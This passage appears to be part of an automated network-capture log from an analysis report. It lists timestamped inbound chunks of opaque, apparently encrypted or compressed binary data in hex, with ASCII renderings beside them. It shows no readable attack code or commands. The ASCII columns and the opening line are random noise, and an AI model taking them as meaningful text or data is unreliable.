HU9s,$g=j4J5;K?`G`.?]DQfSRqCGg=Ie+MOli~TEhve)Z%OI)l`~}@>&vlj8nj,~y@vFjl{!dwqXu#O1&Z\T+a&rF-CJ2
2023-03-24 00:26:57 UTC	280	IN	Data Raw: c8 d9 f2 c2 eb ee Data Ascii:
2023-03-24 00:26:57 UTC	280	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	280	IN	Data Raw: 32 30 30 30 0d 0a 26 26 19 eb 6a ba 4e cb 97 67 30 47 8a fa a3 6c 34 e6 1c e6 34 dc c3 9e 37 78 a3 62 0c bf d6 16 40 cf cd 16 af 94 d0 7c 40 72 76 35 81 aa be fb ec 84 c7 d3 a8 83 f7 52 34 d3 5b c5 33 40 76 13 0d d8 ac 87 9b 32 fd d6 88 d6 25 4c 65 58 52 27 45 00 b2 55 7f b8 dc 61 8f fe 5b 14 4c b3 a9 01 f2 36 44 66 58 16 27 76 6c fa ac f2 e1 a9 0c 65 49 d8 64 98 2b 80 ee 40 23 48 6c a3 ff 49 40 52 ab 1f ae eb 47 f3 2f fc e2 cc 72 53 40 47 1f 1e 3d 4d fe cf d8 3a 32 83 2a e7 b2 4e 75 4f af 48 8d 4e ff 7b 03 79 0b 9b 4a cf 74 b8 86 fb 42 c8 7c 55 94 b8 1e 37 de 6e 75 de 19 b3 45 41 9a d0 0d ad 6d 53 80 bd 54 a1 5c 4b ca 4c ca 78 5c 8a ed e8 50 50 bb 79 aa a1 19 40 fd b3 00 d3 bd a7 4c 33 b5 c3 ac d5 7e 34 60 ff 5f 05 48 bd 86 fe 9e a5 b8 1a 8a ec e7 eb 6a Data Ascii: 2000&&jNg0Gl447xb@\|@rv5R4[3@v2%LeXR'EUa[L6DfX'vleId+@#HlI@RG/rS@G=M:2*NuOHN{yJtB\|U7nuEAmST\KLx\PPy@L3~4`_Hj
2023-03-24 00:26:57 UTC	288	IN	Data Raw: fc 11 c2 9d 97 29 Data Ascii: )
2023-03-24 00:26:57 UTC	288	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	288	IN	Data Raw: 32 30 30 30 0d 0a 33 1b a3 51 2c 74 d5 eb 91 ce 2d 28 5f 5b 9c c4 cf 85 24 6b b7 00 e7 28 6b 06 9e c3 02 74 62 ed 1c f3 48 99 87 8f a1 81 2a a2 14 08 54 7a c5 5e 60 7e 9b ef 89 14 67 17 df b7 37 55 44 cc 9c 44 05 b9 ce 28 b5 86 b1 d4 10 6a b3 20 a9 48 dd 9b b4 ea eb ae 9c d5 31 6f fc 00 a1 aa 84 40 0f 3a 40 81 1c 5f 40 55 db 82 75 47 c9 e1 0b 0c 1b 15 47 06 d4 31 4c 02 10 8f 36 fd 88 db dc 55 5a ff 2f 18 fb 06 b4 c3 4b 6c 53 05 af 3b f4 b0 2c 0c 45 38 a9 55 64 73 31 b0 fd 74 81 77 89 75 77 fc 9e 0e 30 fc 8b 94 c4 eb ac a1 09 45 34 4d a7 22 0a ea 64 85 b4 21 08 23 4a 2f df 20 43 78 5f 95 5e e1 42 39 d2 37 a7 c1 27 9f 06 ce 84 36 2e d0 af 8d f9 de 26 8b df a6 43 30 a2 62 18 1d 61 59 cd e6 68 eb ac c2 32 ce 72 22 c3 49 79 ca 3b 5f 02 0a f1 63 80 d9 b7 6c f7 Data Ascii: 20003Q,t-(_[$k(ktbH*Tz^`~g7UDD(j H1o@:@_@UuGG1L6UZ/KlS;,E8Uds1twuw0E4M"d!#J/ Cx_^B97'6.&C0baYh2r"Iy;_cl
2023-03-24 00:26:57 UTC	296	IN	Data Raw: 49 2e b8 b3 66 ff Data Ascii: I.f
2023-03-24 00:26:57 UTC	296	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	296	IN	Data Raw: 32 30 30 30 0d 0a 1f db ea 38 49 2e 54 b1 6d de 64 29 14 ae 6d 23 0b 4a 21 9a 36 4e df 7d 13 f9 3c 91 6d 45 76 e3 28 6d f3 10 9d 67 89 2b 0f 32 cc 9c d2 76 17 71 e3 c6 c1 92 52 bc f6 9e 87 c1 9c c8 60 9b 8c d3 72 0b 82 df 84 43 1a ce 7d 35 aa 32 0c 83 53 ce 74 98 0d 95 20 61 60 54 e1 bd 60 18 5f e5 64 cd 4a 05 1b f8 82 86 5b 9d 35 7b 60 43 ab 71 b9 14 95 cb fe 1a 78 d1 54 5f 6e 0b 78 a1 c0 5d b3 a3 a7 da 63 79 91 27 4e 65 f4 36 bd e6 b0 c6 4f 1b 86 4f 24 fe fb 65 6e e9 f3 22 11 b3 7e 4b 2b 08 99 02 d8 4d ba f2 12 db 3f d8 1e b1 44 12 ed e3 ed 2c 73 70 9d 7a 73 1f d9 48 38 b2 c2 14 62 9a b9 4a 6d 1c 67 2e 65 fc 23 c4 b9 68 fc f2 ab e3 e2 6e cd ba 71 4c ba b0 31 86 db 4e 6a 41 02 49 d5 13 be e5 fa 2c 4b d6 3a ff 84 9b 8e 45 a8 ae 69 f3 0b 84 d4 87 47 98 b1 Data Ascii: 20008I.Tmd)m#J!6N}<mEv(mg+2vqR`rC}52St a`T`_dJ[5{`CqxT_nx]cy'Ne6OO$en"~K+M?D,spzsH8bJmg.e#hnqL1NjAI,K:EiG
2023-03-24 00:26:57 UTC	304	IN	Data Raw: 96 20 11 88 84 4a Data Ascii: J
2023-03-24 00:26:57 UTC	304	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	304	IN	Data Raw: 32 30 30 30 0d 0a e1 db f9 db c4 fd f7 74 c7 13 66 87 c0 d3 00 59 6d 1a fd 58 e8 8b 3b 18 e9 92 93 16 6f e4 85 23 b9 e4 75 88 d4 ce d7 02 65 27 c2 05 87 3d 29 05 62 d7 f1 fd 69 bf 06 e3 cc 49 87 c1 40 12 2f a9 4c 98 f9 59 a4 31 92 fe 1d 5c ac 5a 2a 8e 14 02 2f 91 bd af 13 89 76 ce 32 50 e3 57 3b d6 50 0d 88 cb f3 44 2c c1 4e 0a 0a f4 41 bd 12 08 7c ac 4e 22 e1 b8 da 80 d8 da d9 18 1b d6 56 8f e1 c1 01 28 6a e7 d5 97 a0 92 b5 5d ae e4 d2 21 f7 0e 6b 3a 9c fc 1b 53 ca 8f ea f0 58 48 be 10 30 4e ed 0d 07 e7 6b 15 bb d1 82 5d f9 8c c6 8a 47 d7 f4 95 82 99 65 13 ea 06 5e b0 fa c9 7b 29 8e c7 8b 72 03 26 6e 16 53 77 ef c6 3a e3 6b 71 43 33 97 81 eb 40 1c 93 c6 7e c3 6a cc 0d 5c c0 19 82 90 28 d7 3d 2b 2f 83 7c 6e 1d 46 e7 65 a0 df 7d f0 19 84 06 c5 31 a6 85 11 Data Ascii: 2000tfYmX;o#ue'=)biI@/LY1\Z*/v2PW;PD,NA\|N"V(j]!k:SXH0Nk]Ge^{)r&nSw:kqC3@~j\(=+/\|nFe}1
2023-03-24 00:26:57 UTC	312	IN	Data Raw: dd a8 b2 9e 12 e7 Data Ascii:
2023-03-24 00:26:57 UTC	312	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	312	IN	Data Raw: 31 66 66 38 0d 0a f3 5e 9b d3 08 93 db 1d 30 e9 b9 32 97 f6 66 a0 50 45 b9 81 62 c7 d9 6f 02 19 20 5a 8a 8d 9a 84 58 15 53 78 3e 8f 04 9c ed 2f d9 71 13 0e 3a 0f cb ca 51 08 1b dd e5 9b 08 cf 7b c0 9a 64 a2 3a 13 e7 20 8c cc 85 a8 cf 9a 0b 37 0e d4 87 53 79 eb 2e bd 14 fe 9c db 74 d7 67 97 cf c2 9a 56 b7 22 b7 45 19 1a f2 28 16 98 e4 24 8a d9 26 da fc be bc bf dd e5 a9 b2 a6 8d 62 3c 4b f4 7d d9 03 c6 fe da e3 5b 43 6c b8 c7 f6 be e2 5e ef 0c 4e 8e 37 37 14 24 ac fa 02 39 6b a9 96 b4 4a e7 1c aa 54 4f 58 50 42 28 91 28 ad a3 a1 27 33 c4 95 39 f5 09 22 af cc cf 58 13 2a c2 8b b8 41 4f 3f 7c 5f d8 c5 f2 47 c6 86 bb 45 bc 54 09 f4 5b 9a 55 85 a3 1a f7 27 14 ba 96 2d 59 fe b5 25 57 36 ec aa 30 eb 84 5a a0 90 f1 a2 b7 94 00 5b 45 43 38 84 ac 07 3a 60 75 5c 8b Data Ascii: 1ff8^02fPEbo ZXSx>/q:Q{d: 7Sy.tgV"E($&b<K}[Cl^N77$9kJTOXPB(('39"X*AO?\|_GET[U'-Y%W60Z[EC8:`u\
2023-03-24 00:26:57 UTC	320	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-03-24 00:26:57 UTC	320	IN	Data Raw: f4 0d 22 78 8b e1 a8 18 07 69 17 ed 2f 9d 15 23 ce 57 9e 3d 0a 4c df da 60 73 79 a3 0f 29 26 40 96 6c 98 29 c4 05 2a ce b3 cb 4e eb 58 d9 63 29 3f b8 ff 45 34 04 e3 b9 8d ba 9c 98 c5 13 c1 8a 0b 38 77 14 0c 04 3e 50 c2 1f 89 2e 48 db 61 b8 c8 f1 08 4b 41 d2 70 bf 76 0f 4f 39 a9 f9 3a 29 cc 9f f7 07 93 47 c3 da 5d 5e 51 a3 2a 36 e1 83 2e 10 09 12 b6 41 63 c4 df 0e c7 be 8c bb 1b 8c 45 0d 25 87 e9 6d 47 33 cc 53 67 55 35 03 cc fd d5 b8 67 32 d0 67 4c 1c a2 e3 b6 68 f9 1e d0 34 27 2a b7 b8 ea 39 ff fa 1a 3a a7 11 d5 39 92 cb 21 94 b8 9b 66 1a 1f 8c 52 dd 82 8b d3 f4 d6 0f db 7c 1e 80 85 95 90 91 5d 8a ae 35 ec 8b 48 93 bf 6b a5 ce e1 05 f3 fa b5 23 56 b7 a2 28 2a c2 97 00 4f c8 66 4f 4d 8c cc ca 42 f0 6c ed 81 92 24 c0 0b 30 9a af f2 f4 d0 62 85 87 b9 15 a5 Data Ascii: "xi/#W=L`sy)&@l)NXc)?E48w>P.HaKApvO9:)G]^Q6.AcE%mG3SgU5g2gLh4'9:9!fR\|]5Hk#V(OfOMBl$0b
2023-03-24 00:26:57 UTC	328	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	328	IN	Data Raw: 32 30 30 30 0d 0a 4f 40 31 25 f3 91 5e d0 35 e9 96 cb e1 62 cf a3 b1 49 77 7c 41 16 32 3f 1a 40 e5 2f ff 71 d5 70 41 54 d2 e5 35 30 9c 43 aa 46 ca da 5d 23 a4 b8 8b 9a f4 f7 c3 30 a6 88 a2 5b 54 50 7e 9b d8 b5 1a 0e 70 6f 33 02 a7 e9 72 19 52 0f 17 cc 1e 44 f1 b9 ec 39 12 ac ac 96 66 a8 98 cc b9 94 ef 2e 72 af 1d 20 f2 34 41 66 98 3d 1e fd 4f ce 6e a6 e1 06 22 b7 4f 67 79 13 5e db ef 77 2f 07 8d 04 77 73 d0 af cd a0 05 a1 07 6e 00 fd 0b 03 73 ee b9 89 5b b7 83 4f 19 35 1c 65 2b d8 4d 87 59 46 f1 fb e9 5c a4 51 b1 c2 29 93 7e b3 4b c3 e2 13 c0 43 49 86 e5 23 84 0c 7c 33 84 6f 48 90 ed 7d 0f 53 3e 70 f9 9c 9b 36 08 72 7c a0 aa b1 52 df c0 18 25 5a 08 30 26 dc 6f be b2 c8 23 e2 e9 73 79 37 39 1e 68 9a ff 2a 5a b4 ba d9 65 3e 6f 7a a4 92 6e 38 1f 73 c0 e6 3a Data Ascii: 2000O@1%^5bIw\|A2?@/qpAT50CF]#0[TP~po3rRD9f.r 4Af=On"Ogy^w/wsns[O5e+MYF\Q)~KCI#\|3oH}S>p6r\|R%Z0&o#sy79h*Ze>ozn8s:
2023-03-24 00:26:57 UTC	336	IN	Data Raw: 24 fb 99 17 03 df Data Ascii: $
2023-03-24 00:26:57 UTC	336	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	336	IN	Data Raw: 32 30 30 30 0d 0a b4 46 07 e6 7a 05 44 ae 3a 05 a7 4d f2 6c f3 ff 1d bc ad 4b c8 7c 4d 38 e2 11 4a 1e 93 90 48 89 79 cd 54 b2 fb 77 7e 87 73 37 06 0c 39 49 9e 5c 57 bc 65 be 80 6b f5 46 e8 76 13 0b cb e8 2f 0c 9c a7 22 57 e4 12 ae f0 85 ea 15 65 c2 2a af 26 7f cf af 9f e9 a4 70 cb e1 02 b7 42 84 4a 99 f4 a0 1f f4 ef 6b 91 a4 83 ca ce c2 b5 46 6a f5 e9 f4 e0 09 c2 80 70 22 7a 0f ae 31 d7 6a cd cc 75 01 96 24 18 4c fb 33 0f 6a 75 7a c3 9a 04 38 3c b3 ca 1c e1 39 fb 07 34 d9 d7 a0 3f 80 ee cc a4 34 5b 3d 26 ad 8b cd f9 8b 5d d6 fb ef b6 a2 72 49 96 81 c8 4b d4 a3 5d 63 30 1f 82 b4 66 4b 82 aa 15 ed fd f5 28 a2 0f 47 17 76 ae 24 a3 ca c6 5b 47 73 5d f0 c7 c3 a8 8c e9 06 71 28 4a 54 67 00 3d be 7a e1 5b c4 32 10 4d 1d 6c 66 ee aa 07 b1 7a e4 26 1d b6 fc de ef Data Ascii: 2000FzD:MlK\|M8JHyTw~s79I\WekFv/"We*&pBJkFjp"z1ju$L3juz8<94?4[=&]rIK]c0fK(Gv$[Gs]q(JTg=z[2Mlfz&
2023-03-24 00:26:57 UTC	344	IN	Data Raw: 2f ad 71 f7 a8 c9 Data Ascii: /q
2023-03-24 00:26:57 UTC	344	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	344	IN	Data Raw: 32 30 30 30 0d 0a 6b c7 73 cf b0 e6 bf 33 1c dd db ea 44 35 ae 65 57 3f 6f b1 7e 17 53 97 06 b8 1b 3d c9 5a ed b7 e2 36 5c a3 05 06 17 e2 5d eb 5d de 9b f9 62 71 be ec 75 e8 34 93 6c 7d 21 7e 4f 20 ea e5 67 8e c4 c0 b6 00 a9 ea ca 6b f4 4c 7c f3 d1 b5 17 f3 7c 33 03 ea d5 e2 ef 1b 33 2b 2e c5 c5 67 e7 7e bf 01 97 66 28 ed 86 b4 fa 9c 35 5a 4c 2d b8 70 90 74 43 e7 17 e7 89 b6 62 50 b4 db 8d 56 40 c2 dd 7c c6 22 54 a6 58 c3 11 e5 f3 fd 09 05 33 5c e4 d3 b2 e7 d3 85 6f 97 01 f0 54 df 86 ca 2b e9 b7 07 4e cc fe 3a 95 ee 79 a3 6c f8 20 42 fd 32 57 88 98 3b c3 06 fc 7d 38 b5 80 e8 5c c4 7c 9f 4c 13 d2 a7 9a 1a 44 02 44 04 1d 17 da 67 ce b3 57 c3 ce 20 39 2e 50 28 f1 b8 51 a7 80 80 ce 89 e6 e9 a7 76 b8 a6 47 e9 39 a0 35 b4 4f db 7c b4 5c 06 06 c3 dd f5 82 db 46 Data Ascii: 2000ks3D5eW?o~S=Z6\]]bqu4l}!~O gkL\|\|33+.g~f(5ZL-ptCbPV@\|"TX3\oT+N:yl B2W;}8\\|LDDgW 9.P(QvG95O\|\F
2023-03-24 00:26:57 UTC	352	IN	Data Raw: b2 8e 48 df 30 a4 Data Ascii: H0
2023-03-24 00:26:57 UTC	352	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	352	IN	Data Raw: 32 30 30 30 0d 0a 5f 93 47 b4 4a 17 4e 86 7b 10 b8 5a 03 3f ec e5 cc 22 41 f2 1e 50 9d aa 47 cf 5b 20 99 37 d2 7f 75 55 a9 86 3b 2d 1a ea 37 20 62 4f 5d ff b1 ec f4 65 d8 3b 43 93 da 35 fb c1 9f e6 e8 fb e4 c6 45 90 b4 bc 26 33 7a 8d 0b 87 4d 2c 7b 8d e5 a7 c6 54 56 bf a2 01 cc 32 e7 81 f8 f1 e4 3a 91 4a 88 e3 a5 87 fd e2 e1 51 4e 30 1b 56 46 5a 04 44 42 ab f0 86 fb f9 35 69 86 0f 6d cd c0 63 f3 5b 0c 7e 6b 0b f8 c9 79 46 f5 a7 58 9e a7 c2 9f 62 a9 0c 33 5c 6d 17 27 97 99 76 95 2d dc 7b de 4f ac 41 1b 10 8d 2c e0 23 e8 a6 f9 ce 3f 93 ce 9e a6 e6 56 93 b0 0c 87 d6 77 55 7f c3 50 8f de d3 fd 25 58 11 d0 a6 33 d9 c6 2e a8 e3 d2 a1 b9 1a b9 3f 90 1d 15 7a 5d 10 42 4a 04 2d aa ab 9a ef af a1 46 b0 00 04 9e a9 d7 4e e7 52 ce 01 c1 b3 c6 f1 b5 be 69 3c 44 c0 42 Data Ascii: 2000_GJN{Z?"APG[ 7uU;-7 bO]e;C5E&3zM,{TV2:JQN0VFZDB5imc[~kyFXb3\m'v-{OA,#?VwUP%X3.?z]BJ-FNRi<DB
2023-03-24 00:26:57 UTC	360	IN	Data Raw: 56 c1 4d 63 2a 60 Data Ascii: VMc*`
2023-03-24 00:26:57 UTC	360	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	360	IN	Data Raw: 32 30 30 30 0d 0a 0c 70 5c ca d8 b9 bb 7e a2 24 61 57 28 cb 32 c8 1b 59 c4 6a 69 45 51 4a 72 f8 bd 55 8c 40 bb bd cd 29 2d 0e 14 a6 55 08 bf 3d 80 0e bd 78 1d 36 e9 8f 7b 9f 35 39 e1 63 73 36 ea 5c 86 22 9b af c8 e6 ce aa fe f7 97 52 a1 6a 17 6a 88 53 a4 a2 09 12 d6 7d 15 35 bc 40 e4 28 58 ac df b1 d2 5e 12 53 cc 99 fa be 5b 41 75 f2 a0 59 9e bd 10 0d c8 be ae b2 de 5c 58 65 cc 6a 2e 13 c8 65 43 b6 2a 9e 8e 18 f1 5c d8 96 78 69 57 cc 17 c7 04 e3 52 bb 3a d2 8c be 67 e2 02 6a a2 77 de db 42 57 41 65 55 a6 b8 05 47 e9 e0 2d 5c 63 0e f6 a8 a3 88 5d 61 bb 38 80 da 17 f5 5a 10 44 39 f4 7f 15 eb 2b b2 8d 71 a4 6a 98 1d 35 ec 79 14 91 2d fd 37 e3 87 c6 c6 a0 ec 3b 04 ff b9 e1 69 3f e0 31 bf fe a9 85 0c f0 77 f4 76 02 d1 64 43 70 03 17 9e 4c f4 1e 27 cb d8 b5 9e Data Ascii: 2000p\~$aW(2YjiEQJrU@)-U=x6{59cs6\"RjjS}5@(X^S[AuY\Xej.eC*\xiWR:gjwBWAeUG-\c]a8ZD9+qj5y-7;i?1wvdCpL'
2023-03-24 00:26:57 UTC	368	IN	Data Raw: 4a f0 3c 43 f7 58 Data Ascii: J<CX
2023-03-24 00:26:57 UTC	368	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	368	IN	Data Raw: 32 30 30 30 0d 0a 07 52 50 df 7a 94 a1 d6 9c db 67 42 c6 5f 7f 7b df 7b e6 2d c6 7c 05 60 33 f4 c7 8a fa b7 80 27 1c 49 b7 e2 7f 90 70 64 c2 4c ef 6a 96 75 7d ee e3 35 9c 54 fd f1 97 98 63 db 1e b8 af 0e 9b cc b2 b9 13 d3 b2 88 a4 c2 46 47 fa 42 1d 45 86 18 d9 30 ab b4 14 e1 30 11 e0 c3 ce 3d f7 8a 2b d7 ee 0d 44 f4 db c9 62 34 ba 89 53 1e 10 94 6b bc 0d 0a 0e ca d4 26 2e 5f 96 52 a9 fb 3a ff 88 fa 6a 79 b4 ac e0 7a f3 1c 14 da d1 fe 69 1a 07 76 12 12 54 04 d9 be 5e dd d5 ec cf e9 1c 49 3b 92 cb af 60 60 63 4c b1 cd 1d a1 db 64 ce d2 d8 1d 20 74 a2 bb e7 04 24 76 c6 2d a9 5e d3 a9 29 34 66 9e a1 26 f3 f3 79 b7 a0 d8 a4 32 98 a5 69 c9 42 7e 12 b7 0c c3 8b 02 1b 1c ff 95 59 56 f1 2c 63 5f 05 fd 6e a3 04 6e 00 13 8e 8f bb 2d dc 60 da 47 e4 e9 a9 f1 5e f4 d7 Data Ascii: 2000RPzgB_{{-\|`3'IpdLju}5TcFGBE00=+Db4Sk&._R:jyzivT^I;``cLd t$v-^)4f&y2iB~YV,c_nn-`G^
2023-03-24 00:26:57 UTC	376	IN	Data Raw: 36 ac 14 60 62 4d Data Ascii: 6`bM
2023-03-24 00:26:57 UTC	376	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	376	IN	Data Raw: 31 66 66 38 0d 0a 1d 22 f3 31 50 62 20 31 71 5d 09 b6 80 43 c6 71 df 45 00 a9 81 32 d7 f4 65 3c 33 3f f2 d8 dd fa e1 a1 d1 7f e7 8b 89 e0 fd ab 47 f7 95 26 0e b6 0b bd 93 69 56 a5 81 9b 9d a6 4c e8 e5 52 e7 bb b1 80 ad a1 f0 c4 39 87 b5 34 16 77 10 26 ec 3a da d3 2b f7 d0 1d 89 3b 4d 3b b4 07 c5 db 7c c5 8a 17 55 6b 36 0c 1b 84 79 4e 3e a5 11 d0 2f bf 6a e1 be 02 d4 8d 60 f8 3b dc d1 a7 09 02 93 d2 1a a6 31 33 ac 03 c2 5f 62 7f 3b 33 7c 50 c6 d3 36 03 9f 91 94 59 1b f5 23 7f c4 12 9d 1f 98 69 66 48 14 d3 fc 17 45 b8 ae cc 31 24 5d 01 2f d7 7e f0 4a e5 d6 83 f8 ac fb a8 f1 b3 cd 77 06 45 d0 ba 76 83 f7 83 d0 fd be 9a 5b 43 e3 8e d4 68 fa e5 24 47 19 a1 d2 56 54 84 e4 7f 8e ad 02 e3 b0 2f 79 94 1a ef ef 83 9e c3 fd e5 8e 21 6a b7 dd 49 a8 a6 f6 8d 0a 11 54 Data Ascii: 1ff8"1Pb 1q]CqE2e<3?G&iVLR94w&:+;M;\|Uk6yN>/j`;13_b;3\|P6Y#ifHE1$]/~JwEv[Ch$GVT/y!jIT
2023-03-24 00:26:57 UTC	384	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-03-24 00:26:57 UTC	384	IN	Data Raw: 80 92 ea 5c f3 2f ac c7 88 c5 b5 2a fa 5a 8c 53 5b fb db 01 41 a1 b8 6c ef bf e7 99 7f 74 df b9 15 55 45 6b a2 39 10 b0 31 f4 7e 96 e5 cd 8d d7 0f 38 03 35 f1 6b 46 d6 89 c5 d2 ff b2 d9 2e ae 5f ea 43 10 0b c7 6b d8 b4 9d 5c bc 81 44 45 f3 b7 7c 8f 79 19 fa ab b8 f6 5d 06 54 6c 46 ac c5 75 ba 6b 8d ce f2 2d 81 1d ef d5 4d b0 0f b8 10 5f a1 e1 73 81 d2 f9 cc 31 34 c4 0d 1e 01 99 57 7b 5a ba b8 2b d1 f7 cf 05 b4 53 1b f2 23 a6 70 a4 7c c4 f1 44 4e ba d6 0c 21 6a e1 70 97 7b c4 25 3d 34 75 1a ae e9 6e 80 93 90 a8 60 88 d1 9e 6c 8d 4b 9a 23 7b f0 31 86 01 32 47 cf 59 ac cb 24 69 80 6c 7e b5 a4 9f f2 c9 aa b1 d4 46 71 21 4f 91 a3 fe 78 13 c8 bc 4c e2 66 1b d3 63 f2 2e 2c fc 61 3f 5e bb b3 7d 97 a0 70 a9 82 23 09 88 1a 7e 21 32 fc d9 5a f0 3f 8d 69 88 24 b5 4a Data Ascii: \/*ZS[AltUEk91~85kF._Ck\DE\|y]TlFuk-M_s14W{Z+S#p\|DN!jp{%=4un`lK#{12GY$il~Fq!OxLfc.,a?^}p#~!2Z?i$J
2023-03-24 00:26:57 UTC	392	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	392	IN	Data Raw: 32 30 30 30 0d 0a 78 af 2a 19 30 17 55 ca ad 3a 98 f3 3b 2c d6 2f 7a c3 8b d5 a2 f9 c9 f3 02 56 16 f9 e3 63 e0 34 a8 2a dc 11 7c 91 e1 ad 50 6c 90 91 e3 b1 b1 c9 38 06 0f 97 ab 3c 3f 25 a4 01 f7 70 54 7a 41 95 70 1a 12 3d df 48 9f 1b 5e 0c 59 98 24 9f d5 00 cf c5 47 ec 38 52 fa d5 b6 2f 09 9e 98 17 f3 6b ab 4d ef b4 1c ae 50 9c 4f 84 e6 5b 16 9d 8d dd f2 5f 7d 3d 20 d8 f9 6e 71 26 32 65 d7 3b c5 89 f3 9e b5 03 f9 66 9e 41 ab a6 32 0a 72 43 e4 60 01 df fc 56 80 8d 55 dc 08 66 b9 c1 77 ac 57 1c b8 5a 87 2d f2 b4 c3 bb 75 dd 32 35 9d 87 95 ac 84 44 f8 2a e1 80 ff 00 51 8d a7 bd be ea 21 27 a4 b7 90 fd 47 9b b2 7a b9 aa 01 27 95 ec d3 ca cc 13 b0 fa bc d5 f7 4f aa c0 e0 4d e0 88 29 99 b1 f5 c4 80 a2 c0 16 f5 b1 bc 92 c1 66 5f 86 f5 48 ac d2 02 17 4d c4 8a 16 Data Ascii: 2000x0U:;,/zVc4\|Pl8<?%pTzAp=H^Y$G8R/kMPO[_}= nq&2e;fA2rC`VUfwWZ-u25D*Q!'Gz'OM)f_HM
2023-03-24 00:26:57 UTC	400	IN	Data Raw: f0 ec 47 e6 36 a5 Data Ascii: G6
2023-03-24 00:26:57 UTC	400	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	400	IN	Data Raw: 32 30 30 30 0d 0a e4 73 6f cb ba a7 47 37 45 2d 00 a6 2b fe 9f eb da db 80 11 79 d9 72 1c f8 7b a7 e2 71 73 69 c5 2e e9 4f a5 07 7d 16 0e 00 74 2c 7e 15 b7 83 09 27 c5 0f 6f bf c0 92 44 72 df 45 d2 7c 48 cc 0a 69 31 8a 46 a0 b1 71 1e d8 51 13 60 a9 c8 3b 28 f5 e6 6f dd ce 97 db db 08 59 e4 99 eb 8c 35 2c bd 89 21 3e 3f da ba d1 ce 95 2a 0c 0c f8 a2 7d c5 bb a9 9b 5f 77 72 93 33 42 fd c7 dd c2 9e d0 9a cb e2 7c aa 74 c5 cb c4 a3 c5 6a 5f f5 2b e4 bc db dd 12 e2 91 94 49 17 ca e4 9f 54 98 40 7f 8b 2a 85 7a 40 5a 54 84 23 1e 6f 8a d4 62 cf e9 d4 ee 4c 36 dd 6c 4f a5 75 83 d3 76 96 e2 62 12 ce ae 09 e3 c8 43 e7 5f 05 1c ae 02 37 9d 77 86 b9 cb 35 47 66 94 bb d7 e1 de 2d c5 16 74 92 9e b9 4e 9b e0 a4 d5 7c 6b 46 f8 0e 7d fd 39 4e a9 09 8d 23 4b f5 95 e9 b5 12 Data Ascii: 2000soG7E-+yr{qsi.O}t,~'oDrE\|Hi1FqQ`;(oY5,!>?}_wr3B\|tj_+IT@z@ZT#obL6lOuvbC_7w5Gf-tN\|kF}9N#K
2023-03-24 00:26:57 UTC	408	IN	Data Raw: 51 c8 8c c1 92 a9 Data Ascii: Q
2023-03-24 00:26:57 UTC	408	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	408	IN	Data Raw: 32 30 30 30 0d 0a 3f 20 cb 55 10 56 7c d2 ed 29 e9 56 0e 7b ab 73 b6 4e a3 31 12 1e ce 80 ad de 22 eb 5f b8 a5 8a e4 f3 26 1e 3a 53 0c a4 bb cf 7d f3 10 fc d7 59 15 f9 cb 38 e3 a0 a5 6a d9 79 03 3f 22 47 f8 03 1f 50 98 00 74 17 96 47 be 02 4f 64 61 99 d3 97 ab a2 1a ff d0 2c 83 6a cf 41 e9 87 b7 88 2a e1 69 bd 4e 4e 3e 12 ad 32 60 d4 d3 1f bc cd a9 6c 09 88 e3 eb ab 2c 04 3d 1f 02 9b ee 90 e9 d8 df 8e 81 41 96 12 14 22 3c 60 0d 2f f0 60 14 37 90 23 c7 de d3 c7 6c 75 62 42 3b e0 3f e5 39 58 66 99 fb 57 02 4c 5b b2 52 ea 23 75 6e 4b 80 87 d8 b7 77 c9 3e c0 ab fe 55 70 0c af c4 b0 4f 20 0f 0f 5e 11 a4 20 ac 44 52 43 e8 90 65 09 c5 80 b3 c6 56 77 bb f9 67 ad ec 89 50 4d b6 d7 aa 00 c7 74 49 6a 90 66 ca 0d ae da 15 14 ad 45 45 a9 43 42 3d 79 8e 93 0d 61 6f 16 Data Ascii: 2000? UV\|)V{sN1"_&:S}Y8jy?"GPtGOda,jA*iNN>2`l,=A"<`/`7#lubB;?9XfWL[R#unKw>UpO ^ DRCeVwgPMtIjfEECB=yao
2023-03-24 00:26:57 UTC	416	IN	Data Raw: 30 68 c6 e2 e3 4f Data Ascii: 0hO
2023-03-24 00:26:57 UTC	416	IN	Data Raw: 0d 0a Data Ascii:
2023-03-24 00:26:57 UTC	416	IN	Data Raw: 32 30 30 30 0d 0a bd 0f be 22 bb db c7 88 76 aa 6a ed 60 68 e5 70 ab 1c f5 72 4e cb 2a d7 bc 6f 75 40 21 f2 cd 33 cc 81 22 1d 9c 36 21 ed ed 19 11 63 d4 47 42 3c e0 65 f7 2c 57 5d 50 cf a4 15 7d d9 e7 5f 94 2d 8a a1 39 38 09 6a 2c 34 a8 59 e5 76 4b 86 0e c4 8c 66 4a 0a 71 3a 14 6c a7 de 23 e4 53 ab d9 58 c7 1f 8d 94 b9 5e 2c 05 ce 52 6d 26 ee 32 eb 3c db 63 64 04 c2 58 fb 27 36 fe 9a 48 2d 00 70 8c 4b 54 9d 92 96 3b 9c bf ab 3b 0d 38 7b 5d b8 0f 4a 4d bf 0f ce b1 c1 2e 6f 67 3b 4b 64 db de 43 43 c6 7a 0f 42 6c ec ad df c0 37 32 eb aa 03 83 cd d5 11 14 2e bc 3c 2c e6 03 e3 07 ab d2 b4 3f 57 54 e3 3d 30 6e e7 d3 a8 a6 87 34 21 35 82 19 4f 9c fa db 98 02 39 fe 53 4b 70 27 53 93 0f dd 49 0f 01 02 